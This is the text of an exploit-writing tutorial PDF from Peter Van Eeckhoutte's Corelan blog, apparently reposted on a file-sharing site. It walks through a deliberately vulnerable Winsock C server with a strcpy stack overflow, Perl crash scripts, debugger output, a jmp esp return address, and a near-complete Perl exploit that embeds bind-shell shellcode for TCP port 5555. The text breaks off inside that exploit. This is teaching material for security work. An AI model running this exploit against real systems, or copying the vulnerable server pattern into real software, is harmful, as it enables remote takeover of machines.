From Exploit to Metasploit - The basics.pdf

(35 KB) Pobierz
http://www.corelan.be:8800 - Page 1 / 10
Peter Van Eeckhoutte´s Blog
:: [Knowledge is not an object, it´s a flow] ::
Exploit writing tutorial part 4 : From Exploit to Metasploit – The
basics
Peter Van Eeckhoutte · Wednesday, August 12th, 2009
In the first parts of the exploit writing tutorial, I have discussed some common vulnerabilities that
can lead to 2 types of exploits : stack based buffer overflows (with direct EIP overwrite), and stack
based buffer overflows that take advantage of SEH chains. In my examples, I have used perl to
demonstrate how to build a working exploit.
Obviously, writing exploits is not limited to perl only. I guess every programming language could
be used to write exploits… so you can just pick the one that you are most familiar with. (python, c,
c++, C#, etc)
Despite the fact that these custom written exploits will work just fine, it may be nice to be able to
include your own exploits in the metasploit framework in order to take advantage of some of the
unique metasploit features.
So today, I’m going to explain how exploits can be written as a metasploit module.
Metasploit modules are writting in ruby. Even if you don’t know a lot about ruby, you should still
be able to write a metasploit exploit module based on this tutorial and the existing exploits
available in metasploit.
Metasploit exploit module structure
A typical metasploit exploit module consists of the following components :
q
q
q
q
header and some dependencies
r
Some comments about the exploit module
r
require ‘msf/core’
class definition
includes
“def” definitions :
r
initialize
r
check (optional)
r
exploit
You can put comments in your metasploit module by using the # character. That’s all we need to
know for now, let’s look at the steps to build a metasploit exploit module.
Peter Van Eeckhoutte´s Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use
20/11/2009 - 1 / 10
http://www.corelan.be:8800 - Page 2 / 10
Case study : building an exploit for a simple vulnerable server
We’ll use the following vulnerable server code (C) to demonstrate the building process :
#include <iostream.h>
#include <winsock.h>
#include <windows.h>
//load windows socket
#pragma comment(lib, "wsock32.lib")
//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0
void
pr(
char
*str)
{
char
buf[500]="";
strcpy(buf,str);
}
void
sError(char *str)
{
MessageBox (NULL, str, "socket
Error"
,MB_OK);
WSACleanup();
}
int
main(int argc,
char
**argv)
{
WORD sockVersion;
WSADATA wsaData;
int
rVal;
char
Message[5000]="";
char
buf[2000]="";
u_short LocalPort;
LocalPort = 200;
//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket
== INVALID_SOCKET)
{
sError("Failed
socket()");
return
SS_ERROR;
}
SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;
//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin,
sizeof(sin));
if(rVal
== SOCKET_ERROR)
{
sError("Failed
bind()");
WSACleanup();
return
SS_ERROR;
}
//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal
== SOCKET_ERROR)
{
sError("Failed
listen()");
WSACleanup();
return
SS_ERROR;
}
//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket
== INVALID_SOCKET)
{
sError("Failed
accept()");
WSACleanup();
return
SS_ERROR;
}
int
bytesRecv = SOCKET_ERROR;
while(
bytesRecv == SOCKET_ERROR )
{
//receive the data that is being sent by the client max limit to 5000 bytes.
Peter Van Eeckhoutte´s Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use
20/11/2009 - 2 / 10
http://www.corelan.be:8800 - Page 3 / 10
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if
( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
{
printf( "\nConnection
Closed.\n");
break;
}
}
//Pass the data received to the function pr
pr(Message);
//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);
WSACleanup();
return
SS_OK;
}
Compile the code and run it on a Windows 2003 server R2 with SP2. (I have used lcc-win32 to
compile the code)
When you send 1000 bytes to the server, the server will crash.
The following perl script demonstrates the crash :
use
strict;
use
Socket;
my
$junk = "\x41" x1000;
# initialize host and port
my
$host =
shift
|| 'localhost';
my
$port =
shift
|| 200;
my
$proto =
getprotobyname('tcp');
# get the port address
my
$iaddr = inet_aton($host);
my
$paddr = sockaddr_in($port, $iaddr);
print
"[+]
Setting up socket\n";
# create the
socket, connect
to the port
socket(SOCKET,
PF_INET, SOCK_STREAM, $proto) or
die
"socket:
$!";
print
"[+]
Connecting to $host on port $port\n";
connect(SOCKET,
$paddr) or
die
"connect:
$!";
print
"[+]
Sending payload\n";
print
SOCKET $junk."\n";
print
"[+]
Payload sent\n";
close
SOCKET or
die
"close:
$!";
The vulnerable server dies, and EIP gets overwritten with A’s
0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ?? ???
Using a metasploit pattern, we determine that the offset to EIP overwrite is at 504 bytes. So we’ll
build a new crash script to verify the offset and see the contents of the registers when the overflow
occurs :
use
strict;
use
Socket;
Peter Van Eeckhoutte´s Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use
20/11/2009 - 3 / 10
http://www.corelan.be:8800 - Page 4 / 10
my
my
my
my
$totalbuffer=1000;
$junk = "\x41" x 504;
$eipoverwrite = "\x42" x 4;
$junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite));
# initialize host and port
my
$host =
shift
|| 'localhost';
my
$port =
shift
|| 200;
my
$proto =
getprotobyname('tcp');
# get the port address
my
$iaddr = inet_aton($host);
my
$paddr = sockaddr_in($port, $iaddr);
print
"[+]
Setting up socket\n";
# create the
socket, connect
to the port
socket(SOCKET,
PF_INET, SOCK_STREAM, $proto) or
die
"socket:
$!";
print
"[+]
Connecting to $host on port $port\n";
connect(SOCKET,
$paddr) or
die
"connect:
$!";
print
"[+]
Sending payload\n";
print
SOCKET $junk.$eipoverwrite.$junk2."\n";
print
"[+]
Payload sent\n";
close
SOCKET or
die
"close:
$!";
After sending 504 A’s, 4 B’s and a bunch of C’s, we can see the following register and stack
contents :
0:001> g
(ed0.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=42424242 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
42424242 ?? ???
0:000> d esp
0012e258 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e268 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e278 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e288 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e298 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2a8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2b8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2c8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Increase the junk size to see how much space you have available for your shellcode. This is
important because you will need to specify this parameter in the metasploit module.
Change the $totalbuffer value to 2000, overflow still works as expected, and the contents of esp
indicate that we have been able to fill memory with C’s up to esp+5d3 (1491 bytes). That will be
our shellcode space (more or less)
All we need is to overwrite EIP with jmp esp (or call esp, or something similar), and put our
shellcode instead of the C’s and we should be fine.
Using findjmp, we have found a working address for our Windows 2003 R2 SP2 server :
findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp register
0x71C02B67
push
esp - ret
Finished Scanning ws2_32.dll for code usable with the esp register
Found 1 usable addresses
After doing some tests with shellcode, we can use the following conclusions to build the final
exploits
Peter Van Eeckhoutte´s Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use
20/11/2009 - 4 / 10
http://www.corelan.be:8800 - Page 5 / 10
q
q
exclude 0xff from the shellcode
put some nop’s before the shellcode
Our final exploit ( in perl, with a shell bound to tcp 5555 ) looks like this :
#
print
"
--------------------------------------\n";
print
"
Writing Buffer Overflows\n";
print
"
Peter Van Eeckhoutte\n";
print
"
http://www.corelan.be:8800\n";
print
"
--------------------------------------\n";
print
"
Exploit for vulnserver.c\n";
print
"
--------------------------------------\n";
use
strict;
use
Socket;
my
$junk = "\x90" x 504;
#jmp esp (from ws2_32.dll)
my
$eipoverwrite =
pack('V',0x71C02B67);
#add some NOP's
my
$shellcode="\x90" x 50;
# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
$shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";
# initialize host and port
my
$host =
shift
|| 'localhost';
my
$port =
shift
|| 200;
my
$proto =
getprotobyname('tcp');
# get the port address
my
$iaddr = inet_aton($host);
my
$paddr = sockaddr_in($port, $iaddr);
Peter Van Eeckhoutte´s Blog - Copyright - All rights reserved. Terms Of Use are applicable to this pdf file and its contents. See http://www.corelan.be:8800/index.php/terms-of-use
20/11/2009 - 5 / 10
Zgłoś jeśli naruszono regulamin